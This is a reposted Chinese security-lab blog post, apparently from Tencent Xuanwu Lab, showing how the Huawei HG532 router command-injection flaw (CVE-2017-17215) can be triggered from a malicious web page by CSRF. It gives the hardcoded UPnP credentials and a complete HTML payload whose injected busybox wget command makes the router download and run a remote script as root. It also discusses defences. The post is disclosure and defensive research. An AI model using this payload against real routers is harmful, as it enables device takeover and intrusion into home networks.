58

对华为HG532远程命令执行漏洞的新探索 – 腾讯玄武实验室

 6 years ago
source link: http://xlab.tencent.com/cn/2018/01/05/a-new-way-to-exploit-cve-2017-17215/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

对华为HG532远程命令执行漏洞的新探索

2018-01-05

2017年11月27日Check Point 公司报告了一个华为 HG532 系列路由器的远程命令执行漏洞,漏洞编号为CVE-2017-17215。利用该漏洞,向路由器UPnP服务监听的37215端口发送一个特殊构造的 HTTP 请求包,即可触发命令执行。此端口在默认配置下并不能从外网访问,但由于该系列路由器数量极其巨大,所以互联网上仍有较多可访问到该端口的设备存在。目前已经有蠕虫在利用这些暴露在互联网上的端口进行传播[1]。

近期国内外已有不少对该漏洞原理的分析[2],在此不再赘述。但我们发现该漏洞实际的威胁可能比目前大家所认为的更为严重,某些对该漏洞的防御建议也是不够的甚至错误的。37215端口暴露在互联网上的HG532系列设备只占其中很少一部分,就已经足够多到被蠕虫利用,而如果其它那些只在内网能访问到的37215端口也可以被攻击者利用呢?

在2013年,国内爆发了一次家用路由器 DNS 劫持事件,利用的是WEB安全里的CSRF攻击技术。这种攻击技术能利用在现在HG532路由器的这个漏洞上吗?如果可以,那么只要诱使HG532路由器的用户用手机、电脑访问一个恶意页面,就可以导致路由器完全被攻击者控制。

我们从漏洞的PoC开始看起。在PoC里,漏洞成功利用需要构造一个XML格式的POST请求包,并且需要通过服务器端的HTTP基础认证,payload里并没有需要预测的部分。因此这个请求进行CSRF攻击测试只需要完成两点。一是成功通过服务器端的HTTP基础认证,二是构造XML攻击代码。

首先来看HTTP基础认证的部分。如果通不过HTTP基础认证,服务器会返回401错误,无法到达存在问题的逻辑。目前网络流传的PoC大部分为在HTTP的请求头里构造一个适用于基础认证的字段。

Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"

在现代浏览器中,要想在HTTP请求头中增加自定义的项只能通过XMLHTTPRequest的方式来发出请求,同时需要服务端返回允许添加头部内容的列表。而UPnP服务是不允许XMLHTTPRequest在请求头中添加这一项的。为了绕过这个限制,我们可以采用DNS Rebind的技术。但是我们真的需要这么复杂的攻击方式吗?

仔细观察HTTP基础认证的字段,我们可以发现,用于基础认证的用户名和密码为dslf-config:admin。因此我们只需要构造表单,使之POST到http:// dslf-config:admin @routerip:37215即可自动完成基础认证。

接下来就是如何用表单来构造一个XML的请求包了。为了不让浏览器对请求体编码,需要指定表单的enctype为text/plain,利用input标签的name和value两个属性的值可以构造出我们想要的内容。
最终构造的CSRF攻击payload样例如下。

<body onload='document.forms[0].submit()'>
<form method='POST' enctype='text/plain' action="http://dslf-config:[email protected]:37215/ctrlt/DeviceUpgrade_1">
<input name='<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>a' value='1;$(/bin/busybox wget -g 192.168.1.2 -l /tmp/.f -r /b);</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>'>
</form>
</body>

攻击者只要诱使用户访问包含上述代码的页面,存在漏洞的路由器就会远程下载一个bash脚本并以root的身份执行。

所以,实际上几乎所有存在漏洞的华为 HG532 系列路由器都面临着被远程攻击的风险,而不只是37215端口暴露在互联网上的那些。一条包含恶意链接的短信就可以让你的路由器被攻击者控制。而一旦路由器被控制,就可能导致内网其它设备的沦陷。

同时,根据我们的实际测试,即使用户关闭了UPnP服务,存在漏洞的路由器在重启后仍然能遭受攻击。并且修改路由器管理口令并不会影响UPnP服务基础认证所用的口令。所以试图关闭UPnP服务和修改路由器管理口令来防范该漏洞都是不可行的。

hg532-1-300x148.jpg

此外,即使将 HG532 内置防火墙等级设置为高,也无法防御此种利用方式的攻击。

hg532-2-300x124.png

最有效的防御方式是安装新版固件。目前在HG532e产品页面[4]中可以看到的最新固件是2016年11月7日的版本[4]。虽然官方安全公告中并未说明该固件已不受CVE-2017-17215的影响,但据我们的分析和测试,至少目前所知的CVE-2017-17215漏洞攻击方式对此版本固件是无效的。

此外,如果把路由器LAN侧IP地址改成非默认地址,如下图中改为了192.168.2.1,也可对攻击造成一定程度的干扰。但攻击者仍有可能用很多其他方法获知到真正的路由器LAN侧IP地址。

hg532-3-300x144.jpg

最后感谢tk提出的攻击思路,感谢huimingliu、hyperchem在获取路由器shell过程中提供的巨大帮助。

演示视频:

参考资料
[1] 腾讯蜜罐系统捕获高危IoT蠕虫Okiru
http://slab.qq.com/news/tech/1705.html

[2] Huawei HG532 系列路由器远程命令执行漏洞分析
https://paper.seebug.org/490/

[3] 关于HG532产品存在远程代码执行安全漏洞的声明
http://www.huawei.com/cn/psirt/security-notices/huawei-sn-20171130-01-hg532-cn

[4] HG532e产品页面
http://m.huawei.com/cnxmobile/consumer-ncbdtest/home-internet/broadband-devices/detail/hg532e-cn.htm


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK